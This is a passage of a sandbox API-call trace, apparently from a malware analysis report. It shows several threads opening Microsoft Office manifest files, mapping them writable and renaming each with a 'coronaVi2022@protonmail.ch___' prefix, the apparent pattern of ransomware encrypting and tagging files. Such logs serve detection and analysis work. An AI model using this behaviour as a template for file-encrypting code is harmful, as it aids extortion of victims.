	[0087.920] GetFileSizeEx (in: hFile=0x6fc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=2147) returned 1
	[0087.920] CreateFileMappingA (hFile=0x6fc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x865, lpName=0x0) returned 0x700
	[0087.920] MapViewOfFile (hFileMappingObject=0x700, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3290000
	[0087.925] UnmapViewOfFile (lpBaseAddress=0x3290000) returned 1
	[0087.925] CloseHandle (hObject=0x700) returned 1
	[0087.925] GetCurrentThreadId () returned 0x14c8
	[0087.925] FlushFileBuffers (hFile=0x6fc) returned 1
	[0087.930] CloseHandle (hObject=0x6fc) returned 1
	[0087.931] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 133
	[0087.931] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 1
	[0087.938] free (_Block=0x2fc1a10) 
	[0087.938] RtlExitUserThread (Status=0x0) 

Thread:
	id = 274
	os_tid = 0x14cc

	[0087.927] _alloca_probe () returned 0x40328a
	[0087.928] GetCurrentThreadId () returned 0x14cc
	[0087.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0087.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0087.929] GetFileSizeEx (in: hFile=0x6f8, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=215883) returned 1
	[0087.929] CreateFileMappingA (hFile=0x6f8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x34b55, lpName=0x0) returned 0x704
	[0087.929] MapViewOfFile (hFileMappingObject=0x704, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3290000
	[0087.973] UnmapViewOfFile (lpBaseAddress=0x3290000) returned 1
	[0087.975] CloseHandle (hObject=0x704) returned 1
	[0087.975] GetCurrentThreadId () returned 0x14cc
	[0087.975] FlushFileBuffers (hFile=0x6f8) returned 1
	[0087.980] CloseHandle (hObject=0x6f8) returned 1
	[0087.986] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 133
	[0087.986] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 1
	[0087.986] free (_Block=0x2fc0a08) 
	[0087.986] RtlExitUserThread (Status=0x0) 

Thread:
	id = 275
	os_tid = 0x14d0

	[0087.957] _alloca_probe () returned 0x40328a
	[0087.958] GetCurrentThreadId () returned 0x14d0
	[0087.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0087.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x704
	[0087.977] GetFileSizeEx (in: hFile=0x704, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=1261) returned 1
	[0087.977] CreateFileMappingA (hFile=0x704, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f9, lpName=0x0) returned 0x708
	[0087.977] MapViewOfFile (hFileMappingObject=0x708, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3290000
	[0087.980] UnmapViewOfFile (lpBaseAddress=0x3290000) returned 1
	[0087.980] CloseHandle (hObject=0x708) returned 1
	[0087.980] GetCurrentThreadId () returned 0x14d0
	[0087.980] FlushFileBuffers (hFile=0x704) returned 1
	[0087.988] CloseHandle (hObject=0x704) returned 1
	[0087.989] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 133
	[0087.989] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 1
	[0087.990] free (_Block=0x2fc1a10) 
	[0087.990] RtlExitUserThread (Status=0x0) 

Thread:
	id = 276
	os_tid = 0x14d4

	[0087.992] _alloca_probe () returned 0x40328a
	[0087.992] GetCurrentThreadId () returned 0x14d4
	[0087.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0087.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0087.995] GetFileSizeEx (in: hFile=0x6f8, lpFileSize=0x241ff5c | out: lpFileSize=0x241ff5c*=1261) returned 1
	[0087.995] CreateFileMappingA (hFile=0x6f8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f9, lpName=0x0) returned 0x708
	[0087.996] MapViewOfFile (hFileMappingObject=0x708, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3010000
	[0087.996] UnmapViewOfFile (lpBaseAddress=0x3010000) returned 1
	[0087.997] CloseHandle (hObject=0x708) returned 1
	[0087.997] GetCurrentThreadId () returned 0x14d4
	[0087.997] FlushFileBuffers (hFile=0x6f8) returned 1
	[0087.999] CloseHandle (hObject=0x6f8) returned 1
	[0088.000] _swprintf (in: param_1=0x2419f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 133
	[0088.000] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 1
	[0088.005] free (_Block=0x2fc0a08) 
	[0088.005] RtlExitUserThread (Status=0x0) 

Thread:
	id = 277
	os_tid = 0x14d8

	[0088.006] _alloca_probe () returned 0x40328a
	[0088.006] GetCurrentThreadId () returned 0x14d8
	[0088.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x708
	[0088.007] GetFileSizeEx (in: hFile=0x708, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=343329) returned 1
	[0088.007] CreateFileMappingA (hFile=0x708, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x53d21, lpName=0x0) returned 0x70c
	[0088.007] MapViewOfFile (hFileMappingObject=0x70c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0088.068] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0088.071] CloseHandle (hObject=0x70c) returned 1
	[0088.071] GetCurrentThreadId () returned 0x14d8
	[0088.071] FlushFileBuffers (hFile=0x708) returned 1
	[0088.080] CloseHandle (hObject=0x708) returned 1
	[0088.089] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 133
	[0088.089] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 1
	[0088.090] free (_Block=0x2fc1a10) 
	[0088.090] RtlExitUserThread (Status=0x0) 

Thread:
	id = 278
	os_tid = 0x14dc

	[0088.074] _alloca_probe () returned 0x40328a
	[0088.074] GetCurrentThreadId () returned 0x14dc
	[0088.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x710
	[0088.075] GetFileSizeEx (in: hFile=0x710, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=14913) returned 1
	[0088.075] CreateFileMappingA (hFile=0x710, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a41, lpName=0x0) returned 0x714
	[0088.075] MapViewOfFile (hFileMappingObject=0x714, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0088.079] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0088.079] CloseHandle (hObject=0x714) returned 1
	[0088.079] GetCurrentThreadId () returned 0x14dc
	[0088.079] FlushFileBuffers (hFile=0x710) returned 1
	[0088.215] CloseHandle (hObject=0x710) returned 1
	[0088.216] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 133
	[0088.216] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 1
	[0088.217] free (_Block=0x2fc0a08) 
	[0088.217] RtlExitUserThread (Status=0x0) 

Thread:
	id = 279
	os_tid = 0x14e0

	[0088.093] _alloca_probe () returned 0x40328a
	[0088.093] GetCurrentThreadId () returned 0x14e0
	[0088.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x714
	[0088.094] GetFileSizeEx (in: hFile=0x714, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=357349) returned 1
	[0088.094] CreateFileMappingA (hFile=0x714, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x573e9, lpName=0x0) returned 0x718
	[0088.094] MapViewOfFile (hFileMappingObject=0x718, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0088.162] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0088.165] CloseHandle (hObject=0x718) returned 1
	[0088.165] GetCurrentThreadId () returned 0x14e0
	[0088.165] FlushFileBuffers (hFile=0x714) returned 1
	[0088.223] CloseHandle (hObject=0x714) returned 1
	[0088.232] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 133
	[0088.232] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 1
	[0088.232] free (_Block=0x2fc1a10) 
	[0088.232] RtlExitUserThread (Status=0x0) 

Thread:
	id = 280
	os_tid = 0x14e4

	[0088.108] _alloca_probe () returned 0x40328a
	[0088.109] GetCurrentThreadId () returned 0x14e4
	[0088.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x720
	[0088.109] GetFileSizeEx (in: hFile=0x720, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=1261) returned 1
	[0088.109] CreateFileMappingA (hFile=0x720, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f9, lpName=0x0) returned 0x724
	[0088.109] MapViewOfFile (hFileMappingObject=0x724, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2400000
	[0088.121] UnmapViewOfFile (lpBaseAddress=0x2400000) returned 1
	[0088.121] CloseHandle (hObject=0x724) returned 1
	[0088.121] GetCurrentThreadId () returned 0x14e4
	[0088.121] FlushFileBuffers (hFile=0x720) returned 1
	[0088.171] CloseHandle (hObject=0x720) returned 1
	[0088.173] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 133
	[0088.173] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 1
	[0088.174] free (_Block=0x2fc4a28) 
	[0088.174] RtlExitUserThread (Status=0x0) 

Thread:
	id = 281
	os_tid = 0x14e8

	[0088.176] _alloca_probe () returned 0x40328a
	[0088.177] GetCurrentThreadId () returned 0x14e8
	[0088.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x718
	[0088.178] GetFileSizeEx (in: hFile=0x718, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=65002) returned 1
	[0088.178] CreateFileMappingA (hFile=0x718, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfdf3, lpName=0x0) returned 0x724
	[0088.178] MapViewOfFile (hFileMappingObject=0x724, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23a0000
	[0088.191] UnmapViewOfFile (lpBaseAddress=0x23a0000) returned 1
	[0088.192] CloseHandle (hObject=0x724) returned 1
	[0088.192] GetCurrentThreadId () returned 0x14e8
	[0088.192] FlushFileBuffers (hFile=0x718) returned 1
	[0088.615] CloseHandle (hObject=0x718) returned 1
	[0088.622] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 133
	[0088.622] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 1
	[0088.623] free (_Block=0x2fc4a28) 
	[0088.624] RtlExitUserThread (Status=0x0) 

Thread:
	id = 282
	os_tid = 0x14ec

	[0088.194] _alloca_probe () returned 0x40328a
	[0088.194] GetCurrentThreadId () returned 0x14ec
	[0088.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x728
	[0088.195] GetFileSizeEx (in: hFile=0x728, lpFileSize=0x358ff5c | out: lpFileSize=0x358ff5c*=1261) returned 1
	[0088.195] CreateFileMappingA (hFile=0x728, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f9, lpName=0x0) returned 0x72c
	[0088.195] MapViewOfFile (hFileMappingObject=0x72c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x23a0000
	[0088.196] UnmapViewOfFile (lpBaseAddress=0x23a0000) returned 1
	[0088.197] CloseHandle (hObject=0x72c) returned 1
	[0088.197] GetCurrentThreadId () returned 0x14ec
	[0088.197] FlushFileBuffers (hFile=0x728) returned 1
	[0088.199] CloseHandle (hObject=0x728) returned 1
	[0088.201] _swprintf (in: param_1=0x3589f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 133
	[0088.201] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 1
	[0088.202] free (_Block=0x2fc5a30) 
	[0088.202] RtlExitUserThread (Status=0x0) 

Thread:
	id = 283
	os_tid = 0x14f0

	[0088.236] _alloca_probe () returned 0x40328a
	[0088.236] GetCurrentThreadId () returned 0x14f0
	[0088.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x710
	[0088.238] GetFileSizeEx (in: hFile=0x710, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=1261) returned 1
	[0088.238] CreateFileMappingA (hFile=0x710, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f9, lpName=0x0) returned 0x728
	[0088.238] MapViewOfFile (hFileMappingObject=0x728, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0088.239] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0088.239] CloseHandle (hObject=0x728) returned 1
	[0088.239] GetCurrentThreadId () returned 0x14f0
	[0088.239] FlushFileBuffers (hFile=0x710) returned 1
	[0088.242] CloseHandle (hObject=0x710) returned 1
	[0088.243] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 133
	[0088.243] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\coronaVi2022@protonmail.ch___AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\coronavi2022@protonmail.ch___appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 1
	[0088.244] free (_Block=0x2fc6a38) 
	[0088.244] RtlExitUserThread (Status=0x0) 

Thread:
	id = 284
	os_tid = 0x14f4

	[0088.245] _alloca_probe () returned 0x40328a
	[0088.246] GetCurrentThreadId () returned 0x14f4
	[0088.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", dwFileAttributes=0x80) returned 1
	[0088.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x728
	[0088.246] GetFileSizeEx (in: hFile=0x728, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=9216) returned 1
	[0088.246] CreateFileMappingA (hFile=0x728, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2400, lpName=0x0) returned 0x72c
	[0088.246] MapViewOfFile (hFileMappingObject=0x72c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0088.249] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0088.249] CloseHandle (hObject=0x72c) returned 1
	[0088.249] GetCurrentThreadId () returned 0x14f4
	[0088.249] FlushFileBuffers (hFile=0x728) returned 1
	[0088.255] CloseHandle (hObject=0x728) returned 1
